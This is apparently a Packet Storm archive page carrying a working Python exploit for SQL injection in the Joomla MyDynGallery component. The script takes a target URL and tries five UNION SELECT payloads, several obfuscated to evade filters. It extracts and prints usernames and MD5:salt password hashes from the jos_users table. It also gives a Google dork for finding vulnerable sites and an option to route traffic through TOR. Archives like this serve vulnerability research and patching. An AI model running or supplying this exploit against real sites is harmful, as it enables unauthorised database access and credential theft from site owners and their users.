exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla MyDynGallery SQL Injection

Joomla MyDynGallery SQL Injection
Posted Dec 14, 2015
Authored by D35m0nd142

Joomla! MyDynGallery component remote SQL injection exploit that leverages a vulnerability found back in 2008.

tags | exploit, remote, sql injection
SHA-256 | f5610a7db33fdb47bcbdd6bb7ccaa279ea7c0852d36f89c7045a33ddf1d42e80

Joomla MyDynGallery SQL Injection

Change Mirror Download
# Joomla! com_mydyngallery Automatic SQL Injection exploit (multiple ways)
# Author: D35m0nd142
# Google Dork: inurl:"index.php?option=com_mydyngallery"
# Date: 12/12/2015
# Vulns found by R3d.W0rm & H3ll-dz
# Software link: https://www.joomla.org
# Tested on: all Joomla! versions containing component mydyngallery
# Output will show clear username and MD5:Salt password

#!/usr/bin/python
import sys
import time
import socks
import socket
import requests

success = False
notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']
target = ""
i = 0

def chk_success():
global i
if(success):
print "[+] Exploit succedeed!"
sys.exit(0)
i += 1

def exploit(path,query):
global i
global success
global target

try:
url = "%s%s" %(target,path)
print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)
r = requests.get(url, headers=headers, timeout=20)
if(r.status_code == 200 and r.url == url):
url = "%s%s%s" %(target,path,query)
r = requests.get(url, headers=headers, timeout=20)
if("::::" in r.text):
s = r.text
for x in range(0,len(s)-4):
if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):
if(success is False):
success = True
user = ""
passwd = ""
k = x-1
while(k >= 0 and s[k] not in notvalid):
user += s[k]
k -= 1
user = user[::-1]
k = x+4
while(k < len(s) and s[k] not in notvalid):
passwd += s[k]
k += 1
x = k
if(len(user) > 0 or len(passwd) > 0):
print "-------------------------------------------------------------------------------------"
print "[+] Username: %s" %user
print "[+] Password: %s" %passwd
print "-------------------------------------------------------------------------------------\n"
except:
print "[-] %i-way exploit not applicable." %i

# Uncomment if you want to run the exploit through TOR
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)
#socket.socket = socks.socksocket

print "\n/*================================================================*\\"
print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways) |"
print "| Author: D35m0nd142 |"
print "\*================================================================*/\n"

target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")
if("http" not in target):
target = "http://%s" %target
if(target[-1:] == '/'):
target = target[:-1]

headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}
i = 1

path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]
queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",
"' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",
"'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",
"'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",
"'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]

for query in queries:
if(i < 5):
exploit(path[0],query)
else:
exploit(path[1],query)
chk_success()

print "[-] Exploit not succedeed."
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close